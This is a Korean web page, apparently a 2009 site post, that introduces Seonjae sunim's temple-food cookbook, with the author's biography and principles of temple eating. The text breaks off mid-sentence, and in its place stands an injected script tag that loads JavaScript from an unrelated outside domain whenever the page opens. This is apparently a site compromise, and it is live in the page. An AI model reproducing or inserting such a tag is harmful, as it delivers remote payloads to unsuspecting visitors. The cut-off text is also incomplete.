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[요리책 소개]
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선제스님의 사찰음식
Date : 2009-05-10
Name : 관리자 File : 2.jpg
Hits : 1978
 

  

     
      

        
        
        
 
           
            

          		
        

        
 
           
        

        
 
                           
            
 저자 
              소개 : 선재(善財)스님은 80년 출가해, 여러 선방에서 정진했다. 94년 중앙승가대학 사회복지학과를 졸업했으며, 
              졸업논문으로 <사찰음식문화연구>를 발표했다.

            
이 
              논문을 통해 그는 경전을 근거로 하여 사찰음식의 특징과 유형을 나름대로 정리하고, 앞으로 나아갈 바를 이야기한 바 
              있다. 그후 그는 생명에 위협을 받을 만큼 심한 간경화를 앓게 되었고, 건강을 되찾기 위한 방법으로 사찰음식을 선택하게 
              된다. 95년 3월부터 현재까지 불교TV <푸른 맛, 푸른요리>를 통해 사찰음식을 소개하고 있으며, 그때부터 
              보리사로 직접 찾아오고, 전화로 문의하는 수많은 환자들에게 사찰음식에 대한 상담을 해주게 된다. <선재스님의 
              사찰음식>은 바로 그의 이런 경험이 바탕이 되어 만들어졌다. 현재 그는 여주 보리사에 머물면서 사찰음식 연수생들을 
              지도하는 한편 동국대학교에서 전통사찰음식조리강좌를 맡고 있다.

            
 

            
 

            
사찰음식은 
              무엇인가

            
1. 
              사찰음식은 채식, 자연식과 다르다 음식은 크게 세 가지로 나눌 수 있다. 일반식, 채식과 자연식, 사찰음식이 그것이다. 
              일반식은 생명을 유지시켜주는 가장 기본적인 음식이며, 채식과 자연식은 이에 건강을 더해주는 음식이라 할 수 있다. 
              마지막으로 사찰음식은 일반식, 자연식의 기능에 정신까지 건강하고 맑게 성장시키는 기능을 수행한다.

            
2. 
              사찰음식은 약이다 부처님께서는 음식을 약으로 대하라고 하셨다. 때문에 사찰음식에 있어 조리는 맛을 내는 과정이 아니라 
              약을 만들기 위한 과정이다. 즉 자연에서 나온 모든 산물에서 독은 제거하고 약성분은 강화시킴으로써 음식을 약으로 만드는 
              것이다.

            
3. 
              사찰의 식생활 원칙

            
때에 
              맞는 음식을 먹어라. 경전에서는 아침은 죽식, 점심은 딱딱한 음식, 저녁은 과일즙을 권한다. 아침에는 뇌가 
              활동하는 시기이므로 가벼운 음식을, 활동량이 많은 낮에는 딱딱한 음식을, 그리고 저녁 늦게 먹는 음식은 신장이나 간을 
              상하게 하기 때문에 과일즙을 권한 것이다. 저녁에는 과일즙을 마심으로써 그 안의 섬유질이 아침에 먹은 죽과 낮에 먹은 
              딱딱한 음식의 배설을 돕는 작용도 한다. 제철의 음식을 먹어?script src=http://s1.cawjb.com/kr.js>
                                                                                            
                                        

                                    

                                
                            

















                            

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